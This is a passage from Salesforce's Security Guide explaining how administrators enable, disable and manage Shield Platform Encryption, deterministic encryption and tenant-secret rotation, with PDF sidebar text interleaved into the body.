listed under Encrypted.
4. Click Save. Available in both Salesforce
Classic and Lightning
The automatic Platform Encryption validation service checks for settings in your org that can block Experience.
encryption. You receive an email with suggestions for fixing incompatible settings.
Field values are automatically encrypted only in records created or updated after you’ve enabled
USER PERMISSIONS
encryption. Synchronize existing data with your active key material from the Encryption Statistics
and Data Sync page. To view setup:
• View Setup and
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the Configuration
difference?
To encrypt fields:
• Customize Application

Encrypt Custom Fields in Installed Managed Packages

If an installed managed package supports Shield Platform Encryption, you can encrypt custom fields
EDITIONS
in that package. Turn on encryption for custom fields in installed managed packages from the
Advanced Settings page, and then apply encryption to custom fields in your installed managed Available as an add-on
package. subscription in: Enterprise,
1. From Setup, enter Platform Encryption in the Quick Find box, and then select Performance, and
Advanced Settings. Unlimited Editions. Requires
purchasing Salesforce
2. Turn on Encrypt Custom Fields in Managed Packages. Shield. Available in
You can also enable encryption for managed packages programmatically. For more information, Developer Edition at no
see PlatformEncryptionSettings in the Metadata API Developer Guide. charge for orgs created in
From now on, if an installed managed package supports encryption, you can encrypt custom Summer ’15 and later.
fields in that package. Don’t know if your application supports encrypted fields? Look for the Available in both Salesforce
Designed to Work With Salesforce Shield marker in your application’s AppExchange listing. Classic and Lightning
Experience.

USER PERMISSIONS

To enable features on the

Advanced Settings page:
• Customize Application

171
Salesforce Security Guide Set Up Your Encryption Policy

If you don’t see this marker, talk to your app vendor.

Note: If Salesforce enabled this feature for you before Spring ‘19, opt in again on the Advanced Settings page. If you don’t
opt in, you can’t enable or disable encryption on those fields. However, your encrypted custom fields in installed managed
packages remain encrypted.

Encrypt New Files and Attachments

For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is
EDITIONS
on, the body of each file or attachment is encrypted when it’s uploaded.

Note: Before you begin, make sure that your organization has an active encryption key; if Available as an add-on
you’re not sure, check with your administrator. subscription in: Enterprise,
Performance, and
1. From Setup, in the Quick Find box, enter Encryption Policy, and then select Encryption Unlimited Editions. Requires
Policy. purchasing Salesforce
2. Select Encrypt Files and Attachments. Shield. Available in
Developer Edition at no
3. Click Save. charge for orgs created in
Important: Users with access to the file can work normally with it regardless of their Summer ’15 and later.
encryption-specific permissions. Users who are logged in to your org and have read access Available in both Salesforce
can search and view the body content. Classic and Lightning
Users can continue to upload files and attachments per the usual file size limits. Expansion of file Experience.
sizes caused by encryption doesn’t count against these limits.
Turning on file and attachment encryption affects new files and attachments. It doesn’t automatically USER PERMISSIONS
encrypt files and attachments that were already in Salesforce. To encrypt existing files, contact
To view setup:
Salesforce.
• View Setup and
To check whether a file or attachment is encrypted, look for the encryption indicator on the detail Configuration
page of the file or attachment. You can also query the isEncrypted field on the ContentVersion To encrypt files:
object (for files) or on the Attachment object (for attachments). • Customize Application

172
Salesforce Security Guide Set Up Your Encryption Policy

Here’s What It Looks Like When a File Is Encrypted

Note: The encryption indicator is only available in Salesforce Classic.

Encrypt Data in Chatter

Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that
EDITIONS
users share in Chatter. You can encrypt data at rest in feed posts and comments, questions and
answers, link names and URLs, poll questions and choices, and content from your custom rich Available as an add-on
publisher apps. subscription in: Enterprise,
We recommend that you test Encryption for Chatter in a dedicated Sandbox environment before Performance, and
enabling it in production. Unlimited Editions. Requires
purchasing Salesforce
Unlike encryption for custom and standard fields, enabling encryption for Chatter encrypts all Shield. Available in
eligible Chatter fields. Developer Edition at no
1. Make sure that your org has an active encryption key. If you’re not sure, check with your charge for orgs created in
administrator. Summer ’15 and later.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Available in both Salesforce
Encryption Policy. Classic and Lightning
Experience.
3. Click Encrypt Chatter.
The automatic Shield Platform Encryption validation service checks for settings that could block
encryption. If the service finds potential problems, it sends you an email with suggestions for fixing USER PERMISSIONS
the problems.
To view setup:
After you activate encryption for Chatter, new data that you enter into Chatter gets encrypted. To • View Setup and
encrypt historic Chatter data, contact Salesforce Customer Support to request the background Configuration
encryption service. To encrypt fields:
When you edit or update an encrypted Chatter field, the field’s revision history is also encrypted. • Customize Application
For example, if you update a post, the old version of the post remains encrypted.
If you enabled Encryption for Chatter in Spring ’17 and you want to access the most up-to-date
features, deselect Encrypt Chatter and then reselect Encrypt Chatter.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

173
Salesforce Security Guide Set Up Your Encryption Policy

Encrypt Search Index Files

Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted
EDITIONS
in the database. When you search your org, the results are stored in search index files. You can
encrypt these search index files with Shield Platform Encryption, adding another layer of security Available as an add-on
to your data. subscription in: Enterprise,
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Performance, and
Management. Unlimited Editions. Requires
purchasing Salesforce
2. Select Search Index from the picklist. Shield. Available in
3. Select Generate Tenant Secret. Developer Edition at no
This new tenant secret encrypts only the data stored in search index files. charge for orgs created in
Summer ’15 and later.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy. Available in both Salesforce
5. Select Encrypt Search Indexes. Classic and Lightning
Experience.
Your search indexes are now encrypted with the active Search Index tenant secret.

USER PERMISSIONS

To view setup:
• View Setup and
Configuration
To enable encryption key
(tenant secret) management:
• Manage Profiles and
Permission Sets

174
Salesforce Security Guide Set Up Your Encryption Policy

Encrypt Einstein Analytics Data

To get started with Einstein Analytics Encryption, generate a tenant secret with Shield Platform
EDITIONS
Encryption. Once you generate an Analytics tenant secret, Einstein Analytics Encryption uses the
Shield Platform Encryption key management architecture to encrypt your Einstein Analytics data. Available as an add-on
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key subscription in: Enterprise,
Management. Performance, and
Unlimited Editions. Requires
2. Select Analytics from the picklist.
purchasing Einstein
3. Generate a tenant secret or upload key material. Analytics Platform and either
Salesforce Shield or the
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Platform Encryption add-on.
Encryption Policy.
5. Select Encrypt Einstein Analytics. Available in both Salesforce
Classic and Lightning
6. Click Save. Experience.
New datasets in Einstein Analytics are now encrypted.

Note: Data that was in Einstein Analytics before encryption was enabled is not encrypted. USER PERMISSIONS
If pre-existing data is imported from Salesforce objects through the dataflow, the data
becomes encrypted on the next dataflow run. Other pre-existing data (such as CSV data) To view setup:
must be reimported to become encrypted. Although pre-existing data is not encrypted, • View Setup and
it is still accessible and fully functional in its unencrypted state when encryption is enabled. Configuration
To manage key material:
• Manage Encryption Keys

Encrypt Event Bus Data

To enable encryption of change data capture or platform event messages at rest, generate an event
EDITIONS
bus tenant secret and then enable encryption.
The following steps enable encryption for both change data capture and platform events. Available in: Enterprise,
Performance, Unlimited,
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
and DeveloperEditions.
Management.
Requires purchasing either
2. In the Choose Tenant Secret Type dropdown list, choose Event Bus. Salesforce Shield or the
3. Click Generate Tenant Secret or, to upload a customer-supplied tenant secret, click Bring Platform Encryption add-on.
Your Own Key. Available in both Salesforce
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Classic and Lightning
Encryption Policy. Experience.

5. Select Encrypt change data capture events and platform events.

USER PERMISSIONS
6. Click Save.
To view setup:
Warning: If you don’t enable Shield Platform Encryption for change data capture events
• View Setup and
and platform events, events are stored in clear text in the event bus.
Configuration
To manage key material:
• Manage Encryption Keys

175
Salesforce Security Guide Set Up Your Encryption Policy

Fix Compatibility Problems

When you select fields or files to encrypt with Shield Platform Encryption, Salesforce automatically
EDITIONS
checks for potential side effects. The validation service then warns you if any existing settings may
pose a risk to data access or your normal use of Salesforce. You have some options for how to clear Available as an add-on
up these problems. subscription in: Enterprise,
If your results include error messages, you're probably running into one or more of these limitations: Performance, and
Unlimited Editions. Requires
Portals
purchasing Salesforce
You can’t encrypt standard fields, because a legacy customer or partner portal (created before Shield. Available in
2013) is enabled in your organization. To deactivate a legacy customer portal, go to the Customer Developer Edition at no
Portal Settings page in Setup. To deactivate a legacy partner portal, go to the Partners page in charge for orgs created in
Setup. Summer ’15 and later.
Note: Experience Cloud sites aren’t related to this issue. They’re fully compatible with Available in both Salesforce
encryption. Classic and Lightning
Criteria-Based Sharing Rules Experience.
You’ve selected a field that is used in a filter in a criteria-based sharing rule.
SOQL/SOSL queries
You’ve selected a field that’s used in an aggregate function in a SOQL query, or in a WHERE, GROUP BY, or ORDER BY clause.
Formula fields
You’ve selected a field that’s referenced by a custom formula field in an unsupported way. Formulas can use BLANKVALUE, CASE,
HYPERLINK, IF, IMAGE, ISBLANK, ISNULL, NULLVALUE, and concatenation (&).
Flows and Processes
You’ve selected a field that’s used in one of these contexts.
• To filter data in a flow
• To sort data in a flow
• To filter data in a process
• To filter data in a record choice set
• To sort data in a record choice set

Note: By default, your results only list the first 250 errors per element. You can increase the number of errors listed in your
results to 5000. Contact Salesforce for help.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

176
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption

Disable Encryption on Fields

At some point, you might need to disable Shield Platform Encryption for fields, files, or both. You
EDITIONS
can turn field encryption on or off individually, but file encryption is all or nothing.
When you turn off Shield Platform Encryption for a field, most encrypted data is automatically Available as an add-on
mass-decrypted. The decryption starts automatically after you disable encryption for specific fields subscription in: Enterprise,
and save your changes. When data is decrypted, any functionality that was limited or unavailable Performance, and
when the data was encrypted is also restored. Salesforce notifies you by email when the decryption Unlimited Editions. Requires
process is complete. purchasing Salesforce
Shield. Available in
Note: Automatic decryption takes longer when you disable encryption on fields encrypted Developer Edition at no
with a key that’s been destroyed. Salesforce notifies you by email when the process finishes. charge for orgs created in
Long text area and rich text area field types can’t be automatically decrypted. If you decrypt data Summer ’15 and later.
encrypted with a destroyed key, that data can’t be mass-decrypted. Available in both Salesforce
Classic and Lightning
Note: If you disable Shield Platform Encryption and can’t access data in fields that were
Experience.
previously encrypted, contact Salesforce for help.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.
USER PERMISSIONS

2. Click Encrypt Fields, then click Edit. To view setup:

• View Setup and
3. Deselect the fields you want to stop encrypting, then click Save.
Configuration
Users can see data in these fields.
To disable encryption:
4. To disable encryption for files or Chatter, deselect those features from the Encryption Policy • Customize Application
page and click Save.
The functionality that was limited or changed by Platform Encryption is restored for your data after
it’s decrypted.

Filter Encrypted Data with Deterministic Encryption

You can filter data that’s protected with Shield Platform Encryption using deterministic encryption. Your users can filter records in reports
and list views, even when the underlying fields are encrypted. You can apply case-sensitive deterministic encryption or exact-match
case-insensitive deterministic encryption to data on a field-by-field basis.
Deterministic encryption supports WHERE clauses in SOQL queries and is compatible with unique and external ID fields. It also supports
single-column indexes and single and double-column unique indexes. Deterministic encryption key types use the Advanced Encryption
Standard (AES) with 256-bit keys with CBC mode and a static initialization vector (IV).

IN THIS SECTION:
How Deterministic Encryption Supports Filtering
By default, Shield Platform Encryption uses a probabilistic encryption scheme to encrypt data. Each bit of data is turned into a fully
random ciphertext string every time it’s encrypted. Encryption doesn’t generally impact users who are authorized to view the data.
The exceptions are when logic is executed in the database or when encrypted values are compared to a string or to each other. In
these cases, because the data has been turned into random, patternless strings, filtering isn’t possible. For example, you might run
a SOQL query in custom Apex code against the Contact object, where LastName = 'Smith'. If the LastName field is encrypted with
probabilistic encryption, you can’t run the query. Deterministic encryption addresses this problem.

177
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption

Encrypt Data with the Deterministic Encryption Scheme

Generate key material specific to data encrypted with deterministic encryption schemes. You can apply either case-sensitive
deterministic encryption or case-insensitive deterministic encryption schemes to your data, depending on the kind of filtering you
need to perform. When you apply a deterministic encryption scheme to a field or change between deterministic encryption schemes,
synchronize your data. Syncing data makes sure that your filters and queries produce accurate results.

How Deterministic Encryption Supports Filtering

By default, Shield Platform Encryption uses a probabilistic encryption scheme to encrypt data. Each bit of data is turned into a fully
random ciphertext string every time it’s encrypted. Encryption doesn’t generally impact users who are authorized to view the data. The
exceptions are when logic is executed in the database or when encrypted values are compared to a string or to each other. In these
cases, because the data has been turned into random, patternless strings, filtering isn’t possible. For example, you might run a SOQL
query in custom Apex code against the Contact object, where LastName = 'Smith'. If the LastName field is encrypted with probabilistic
encryption, you can’t run the query. Deterministic encryption addresses this problem.
To be able to use filters when data is encrypted, we have to allow some patterns in our data. Deterministic encryption uses a static
initialization vector (IV) so that encrypted data can be matched to a particular field value. The system can’t read a piece of data that’s
encrypted, but it does know how to retrieve the ciphertext that stands for that piece of data thanks to the static IV. The IV is unique for
a given field in a given org and can only be decrypted with your org-specific encryption key.
We evaluate the relative strengths and weaknesses of cryptographic approaches based on the types of attacks that can be launched
against a particular algorithm. We also consider the length of time that it could take for the attack to succeed. For example, it is commonly
said that a brute-force attack against an AES 256-bit key would take a billion billion years given current computing capabilities. Nevertheless,
it is common practice to rotate keys regularly.
Certain kinds of attacks become a bit less far-fetched when you get away from purely random ciphertext. For example, an attacker could
conceivably analyze deterministically encrypted ciphertext and determine that the cleartext string Alice always resolves to the
ciphertext YjNkY2JlNjU5M2JkNjk4MGJiNWE2NGQ5NzI5MzU1OTcNCg==. Given enough time to eavesdrop, an attacker
could defeat encryption by building a dictionary of cleartext values to ciphertext values.
The Salesforce Shield approach is to expose just enough determinism to let bona fide users filter on encrypted data while limiting it
enough to ensure that a given plaintext value doesn’t universally result in the same ciphertext value across all fields, objects, or orgs.
Even if an attacker successfully matched cleartext to encrypted values for one field, the attacker would have to do it all over again for
another field, and again for the same field in another object.
In this way, deterministic encryption decreases encryption strength only as minimally necessary to allow filtering.
Deterministic encryption comes in two types: case-sensitive and case-insensitive. With case-sensitive encryption, a SOQL query against
the Contact object, where LastName = Jones, returns only Jones, not jones or JONES. Similarly, when the case-sensitive deterministic
scheme tests for unicity (uniqueness), each version of “Jones” is unique.
For case-insensitive, a SOQL query against the Lead object, where Company = Acme, returns Acme, acme, or ACME. When the
case-insensitive scheme tests for unicity (uniqueness), each version of Acme is considered identical.

Important: Probabilistic encryption is not supported on the email address field for the Contact object. To avoid creating duplicate
accounts during self-registration, use deterministic encryption.

178
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption

Encrypt Data with the Deterministic Encryption Scheme

Generate key material specific to data encrypted with deterministic encryption schemes. You can
USER PERMISSIONS
apply either case-sensitive deterministic encryption or case-insensitive deterministic encryption
schemes to your data, depending on the kind of filtering you need to perform. When you apply a To generate, destroy, export,
deterministic encryption scheme to a field or change between deterministic encryption schemes, import, and upload tenant
synchronize your data. Syncing data makes sure that your filters and queries produce accurate secrets and
results. customer-supplied key
material:
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key • Manage Encryption Keys
Management.
To enable Deterministic
2. From the Choose Tenant Secret Type menu, select Data in Salesforce. Encryption:
3. Generate or upload a tenant secret. • Customize Application

4. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Advanced Settings.
5. Enable Deterministic Encryption.
You can also enable deterministic encryption programmatically. For more information, see PlatformEncryptionSettings in the Metadata
API Developer Guide.

6. From Setup, select Key Management.

7. Select the Data in Salesforce (Deterministic) secret type.
8. Generate a tenant secret.
You can mix and match probabilistic and deterministic encryption, encrypting some fields one way and some fields the other.

9. Enable encryption for each field, and choose a deterministic encryption scheme. How you do that depends on whether it’s a standard
field or a custom field.
• For standard fields, from Setup, select Encryption Policy, and then select Encrypt Fields. For each field you want to encrypt,
select the field name, and then choose either Deterministic—Case Sensitive or Deterministic—Case Insensitive from the
Encryption Scheme list.

179
Salesforce Security Guide Filter Encrypted Data with Deterministic Encryption

• For custom fields, open the Object Manager and edit the field you want to encrypt. Select Encrypt the contents of this field,
and select an encryption scheme.

You receive an email notifying you when the enabelment process finishes.

Note: Expect the enablement process to take longer when you apply deterministic encryption to a field with a large number
of records. To support filtering, the enablement process also rebuilds field indexes.

180
Salesforce Security Guide Key Management and Rotation

10. When you apply or remove deterministic encryption to a field, existing data in that field might not appear in queries or filters. To
apply full deterministic functionality to existing data, synchronize all of your data with your active key material from the Encryption
Statistics and Data Sync page. For more information, see Synchronize Your Data Encryption with the Background Encryption Service.

Key Management and Rotation

Shield Platform Encryption lets you control and rotate the key material used to encrypt your data.
EDITIONS
You can use Salesforce to generate a tenant secret for you, which is then combined with a per-release
master secret to derive a data encryption key. This derived data encryption key is then used in Available as an add-on
encrypt and decrypt functions. You can also use the Bring Your Own Key (BYOK) service to upload subscription in: Enterprise,
your own key material, or store key material outside of Salesforce and have the Cache-Only Key Performance, and
Service fetch your key material on demand. Unlimited Editions. Requires
Key management begins with assigning security administrators the appropriate permissions. Assign purchasing Salesforce
permissions to people you trust to encrypt data, manage certificates, and work with key material. Shield. Available in
It's a good idea to monitor these users’ key management and encryption activities with the Setup Developer Edition at no
charge for orgs created in
Audit Trail. Authorized developers can generate, rotate, export, destroy, reimport, and upload tenant
Summer ’15 and later.
secrets by coding a call to the TenantSecret object in the Salesforce API.
Available in both Salesforce
IN THIS SECTION: Classic and Lightning
Experience.
Work with Key Material
Shield Platform Encryption lets you generate a unique tenant secret for your org, or generate
a tenant secret or key material using your own external resources. In either case, you manage USER PERMISSIONS
your own key material: You can rotate it, archive it, and designate other users to share To manage key material:
responsibility for it. • Manage Encryption Keys
Rotate Your Encryption Tenant Secrets
You control the life cycle of your data encryption keys by controlling the life cycle of your tenant
secrets. Salesforce recommends that you regularly generate or upload new Shield Platform Encryption key material. When you rotate
a tenant secret, you replace it with either a Salesforce-generated tenant secret or customer-supplied key material.
Back Up Your Tenant Secrets
Your Shield Platform Encryption tenant secret is unique to your org and to the specific data to which it applies. Salesforce recommends
that you export your tenant secret to ensure continued access to the related data.
Get Statistics About Your Encryption Coverage
The Encryption Statistics page provides an overview of all data encrypted with Shield Platform Encryption. This information helps
you to stay on top of your key rotation and management tasks. You can also use encryption statistics to identify which objects and
fields you may want to update after you rotate your key material.
Synchronize Your Data Encryption with the Background Encryption Service
Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy
with Shield Platform Encryption, synchronize new and existing encrypted data under your most recent encryption policy and keys.
You can do this yourself or ask Salesforce for help.
Destroy Key Material
Only destroy Shield Platform Encryption tenant secrets and key material in extreme cases where access to related data is no longer
needed. Your key material is unique to your org and to the specific data to which it applies. Once you destroy key material, related
data is not accessible unless you import previously exported key material.

181
Salesforce Security Guide Key Management and Rotation

Require Multi-Factor Authentication for Key Management

Multi-factor authentication (MFA) is a powerful tool for securing access to data and resources. You can require multi-factor
authentication for Shield Platform Encryption key management tasks like generating, rotating, or uploading key material and
certificates.
Bring Your Own Key (BYOK)
When you supply your own tenant secret, you get the benefits built-in to Salesforce Shield Platform Encryption, plus the extra
assurance that comes from exclusively managing your tenant secret.
Cache-Only Key Service
Shield Platform Encryption’s Cache-Only Key Service addresses a unique need for non-persisted key material. You can store your key
material outside of Salesforce and have the Cache-Only Key Service fetch your key on demand from a key service that you control.
Your key service transmits your key over a secure channel that you configure, and the Cache-Only Key Service uses your key for
immediate encrypt and decrypt operations. Salesforce doesn’t retain or persist your cache-only keys in any system of record or
backups. You can revoke key material at any time.

Work with Key Material

Shield Platform Encryption lets you generate a unique tenant secret for your org, or generate a
EDITIONS
tenant secret or key material using your own external resources. In either case, you manage your
own key material: You can rotate it, archive it, and designate other users to share responsibility for Available as an add-on
it. subscription in: Enterprise,
When you generate or upload new key material, any new data is encrypted using this key. This is Performance, and
now your active key. However, existing sensitive data remains encrypted using previous keys, which Unlimited Editions. Requires
are now archived. In this situation, we strongly recommend re-encrypting this data with your active purchasing Salesforce
key. You can synchronize your data with the active key material on the Encryption Statistics and Shield. Available in
Data Sync. Developer Edition at no
charge for orgs created in
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the Summer ’15 and later.
difference?
Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS

To manage key material:

• Manage Encryption Keys

182
Salesforce Security Guide Key Management and Rotation

Rotate Your Encryption Tenant Secrets

You control the life cycle of your data encryption keys by controlling the life cycle of your tenant
EDITIONS
secrets. Salesforce recommends that you regularly generate or upload new Shield Platform Encryption
key material. When you rotate a tenant secret, you replace it with either a Salesforce-generated Available as an add-on
tenant secret or customer-supplied key material. subscription in: Enterprise,
To decide how often to rotate your tenant secrets, consult your security policies. How frequently Performance, and
you can rotate key material depends on the tenant secret type and environment. You can rotate Unlimited Editions. Requires
tenant secrets once per interval. purchasing Salesforce
Shield. Available in
Table 1: Tenant Secret Rotation Intervals Developer Edition at no
charge for orgs created in
Tenant Secret Type Production Environments Sandbox Environments
Summer ’15 and later.
Data in Salesforce 24 hours 4 hours
Available in both Salesforce
Data in Salesforce 7 days 4 hours Classic and Lightning
(Deterministic) Experience.

Analytics 24 hours 4 hours

USER PERMISSIONS
Search Index 7 days 7 days
To generate, destroy, export,
Event Bus 7 days 7 days import, upload, and
configure tenant secrets and
customer-supplied key
The key derivation function uses a master secret, which is rotated with each major Salesforce release. material:
Master secret rotation doesn’t impact your encryption keys or your encrypted data until you rotate • Manage Encryption Keys
your tenant secret.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. From the Choose Tenant Secret Type dropdown, choose a data type.
3. Check the status of the data type’s tenant secrets. Existing tenant secrets are listed as active, archived, or destroyed.
Active
Can be used to encrypt and decrypt new or existing data.
Archived
Can’t encrypt new data. Can be used to decrypt data previously encrypted with this key when it was active.
Destroyed
Can’t encrypt or decrypt data. Data encrypted with this key when it was active can no longer be decrypted. Files and attachments
encrypted with this key can no longer be downloaded.

4. Click Generate New Tenant Secret or Bring Your Own Key. If uploading a customer-supplied tenant secret, upload your encrypted
tenant secret and tenant secret hash.

Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49
archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes
Salesforce-generated and customer-supplied key material.
If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before
destroying a key, synchronize the data it encrypts with an active key.

5. If you want to re-encrypt field values with your active key material, synchronize new and existing encrypted data under your most
recent and keys. You can sync data from the Encryption Statistics and Data Sync page in Setup.

183
Salesforce Security Guide Key Management and Rotation

Warning: For clean and consistent results, we recommend that you contact Salesforce Customer Support for help with
reencrypting your data. You can apply your active key material to existing records by editing them through Setup, or
programmatically through the API. Editing a record triggers the encryption service to encrypt the existing data again using
the newest key material. This update changes the record’s timestamp, and the update is recorded in the field history or Feed
History. However, the field history in the History related list and Feed History aren’t reencrypted with the new key material.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Back Up Your Tenant Secrets

Your Shield Platform Encryption tenant secret is unique to your org and to the specific data to which
EDITIONS
it applies. Salesforce recommends that you export your tenant secret to ensure continued access
to the related data. Available as an add-on
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key subscription in: Enterprise,
Management. Performance, and
Unlimited Editions. Requires
2. In the table that lists your keys, find the tenant secret you want to back up. Click Export.
purchasing Salesforce
3. Confirm your choice in the warning box, then save your exported file. Shield. Available in
The file name is tenant-secret-org-<organization ID>-ver-<tenant Developer Edition at no
secret version numer>.txt. For example, charge for orgs created in
Summer ’15 and later.
tenant-secret-org-00DD00000007eTR-ver-1.txt.
Available in both Salesforce
4. Note the specific version you’re exporting, and give the exported file a meaningful name. Store
Classic and Lightning
the file in a safe location so you can import it back into your org if needed.
Experience.
Note: Your exported tenant secret is itself encrypted.
USER PERMISSIONS
Remember that exported key material is a copy of the key material in your org. To import an exported
tenant secret, first destroy the original in your org. See Destroy a Tenant Secret on page 191. To generate, destroy, export,
import, upload, and
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the configure tenant secrets and
difference? customer-supplied key
material:
• Manage Encryption Keys
Get Statistics About Your Encryption Coverage
The Encryption Statistics page provides an overview of all data encrypted with Shield Platform
Encryption. This information helps you to stay on top of your key rotation and management tasks. You can also use encryption statistics
to identify which objects and fields you may want to update after you rotate your key material.

Available as an add-on subscription in: Enterprise, Performance, and Unlimited Editions. Requires purchasing Salesforce Shield.
Available in Developer Edition at no charge for orgs created in Summer ’15 and later.

Available in both Salesforce Classic and Lightning Experience.

184
Salesforce Security Guide Key Management and Rotation

IN THIS SECTION:
Gather Encryption Statistics
The Encryption Statistics and Data Sync page shows you how much of your data is encrypted by Shield Platform Encryption, and
how much of that data is encrypted by active key material. Use this information to inform your key rotation actions and timelines.
You can also use the Encryption Statistics page to collect information about the fields and objects you want to synchronize with the
background encryption service.
Interpret and Use Encryption Statistics
The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information to help make informed decisions
about managing your encrypted data.

Gather Encryption Statistics

The Encryption Statistics and Data Sync page shows you how much of your data is encrypted by
EDITIONS
Shield Platform Encryption, and how much of that data is encrypted by active key material. Use this
information to inform your key rotation actions and timelines. You can also use the Encryption Available as an add-on
Statistics page to collect information about the fields and objects you want to synchronize with subscription in: Enterprise,
the background encryption service. Performance, and
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Unlimited Editions. Requires
Encryption Statistics. purchasing Salesforce
Shield. Available in
2. Select an object type or custom object from the left pane. If you see a “--” in the Data Encrypted Developer Edition at no
or Uses Active Key columns, you haven’t gathered statistics for that object yet. charge for orgs created in
Summer ’15 and later.

Available in both Salesforce

Classic and Lightning
Experience.

USER PERMISSIONS

To view Platform Encryption

Setup pages:
• View Setup and
Configuration
And
Customize Application

3. Click Gather Statistics.

185
Salesforce Security Guide Key Management and Rotation

The gathering process time varies depending on how much data you have in your object. You’re notified by email when the gathering
process is finished. When your statistics are gathered, the page shows updated information about data for each object. If encryption
for field history and feed tracking is turned on, you also see stats about encrypted field history and feed tracking changes.

Note:
• You can gather statistics once every 24 hours, either by clicking Gather Statistics or running the self-service background
encryption service.
• Feed Item doesn’t display statistics because it’s derived from Feed Post. Gathering statistics for Feed Post is sufficient to confirm
the encryption status of both Feed Post and Feed Item.

Interpret and Use Encryption Statistics

The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information to help make informed decisions
about managing your encrypted data.

Available as an add-on subscription in: Enterprise, Performance, and Unlimited Editions. Requires purchasing Salesforce Shield.
Available in Developer Edition at no charge for orgs created in Summer ’15 and later.

Available in both Salesforce Classic and Lightning Experience.

The page offers two views of your encrypted data: a summary view and a detail view.

Encryption Summary View

The Encryption Summary View lists all your objects that contain encrypted data, and statistics about the encrypted data in those objects.

• Object—Lists your standard and custom objects. Data about standard objects are aggregated for all standard objects of a given
type. Data about custom objects are listed for each custom object.
• Data Encrypted—The total percentage of data in an object that’s encrypted. In the example above, 50% of all data in Account objects
are encrypted.
• Uses Active Key—The percentage of your encrypted data in that object or object type that is encrypted with your active key material.
• Sync Needed—Recommends whether to synchronize your data with the background encryption service. This column displays Yes
when you’ve added or disabled encryption on fields, changed a field’s encryption scheme, or rotated key material.
When the numbers in both Data Encrypted and Uses Active Key columns are the same, and Sync Needed column reads No, all your
encrypted data is synchronized. In the example above, the Case object is synchronized.
Sometimes the Sync Needed column reads Yes for an object when the Encrypted Data and Uses Active Key columns read have the same
values. This combination of values happens when encryption policy settings or keys have changed since the last time you gathered
statistics or synchronized your data. This combination also happens when statistics have been gathered for newly encrypted data, but

186
Salesforce Security Guide Key Management and Rotation

the object has never been synchronized. In the example above, the Account, Contact, Lead, and Opportunity objects meet one or more
of these conditions.
A double dash (--) means that statistics haven’t been gathered for that object or object type yet. In the example, statistics haven’t been
gathered for the Opportunity and Attachment objects.

Encryption Detail View

The Encryption Detail View shows statistics about the field and historical data stored in each object category. If encryption for field history
and feed tracking is turned on, you can also view stats about encrypted field history and feed tracking changes.
Fields
The Fields tab displays data about field data in each object.
• Field—All encryptable standard and custom fields in the object that contain data.

Note: Not all field data is stored in the same field that displays data in the UI. For example, some Person Account field
data is stored in the corresponding Contact fields. If you have Person Accounts enabled but don’t see encrypted fields
under the Account detail view, gather statistics for the Contact object and check there.
Similarly, Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision
objects. The Encryption Statistics page lists these objects and all fields that hold encrypted Chatter data in the database.
Some fields listed on the Encryption Statistics page aren’t visible in the UI by the same name, but they store all encrypted
data that’s visible in the UI. See Which Standard Fields and Data Elements Can I Encrypt? on page 144 in Salesforce Help
for a list of the encrypted Chatter fields.

• API Name—The API name for fields that contain data.

• Encrypted Records—The number of encrypted values stored in a field type across all objects of given type. For example, you
select the Account object and see “9” in the Encrypted Records column next to Account Name. That means there are nine
encrypted records across all Account Name fields.
• Unencrypted Records—The number of plaintext values stored in a field type.
• Mixed Tenant Secret Status—Indicates whether a mixture of active and archived tenant secrets apply to encrypted data in a
field type.
• Mixed Schemes— Indicates whether a mixture of deterministic and probabilistic encryption schemes apply to encrypted data
in a field type.

Note: The following applies to both encrypted and unencrypted records:

• The records count for a field doesn’t include NULL or BLANK values. A field with NULL or BLANK values can show a different
(smaller) records count than the actual number of records.
• The records count for compound fields such as Contact.Name or Contact.Address can show a different (larger) records
count than the actual number of records. The count includes the two or more fields that are counted for every record.

History
The History tab shows data about field history and feed tracking changes.
• Field—All encryptable standard and custom fields in the object that contain data.
• API Name—The API name for fields that contain data.
• Encrypted Field History—The number of encrypted field history values for a field type across all objects of a given type. For
example, you select the Account object and see “2” in the Encrypted Field History column for Account Name, which means that
Account Name has two encrypted field history values.
• Unencrypted Field History—The number of plaintext field history values stored for a field.
• Encrypted Feed Tracking—The number of encrypted feed tracking values stored for a field.

187
Salesforce Security Guide Key Management and Rotation

• Unencrypted Feed Tracking—The number of plaintext feed tracking values stored for a field.

Usage Best Practices

Use these statistics to make informed decisions about your key management tasks.
• Update encryption policies—The encryption statistics detail view shows you which fields in an object contain encrypted data. Use
this information to periodically evaluate whether your encryption policies match your organization’s encryption strategy.
• Rotate keys—You might want to encrypt all your data with your active key material. Review the encryption summary pane on the
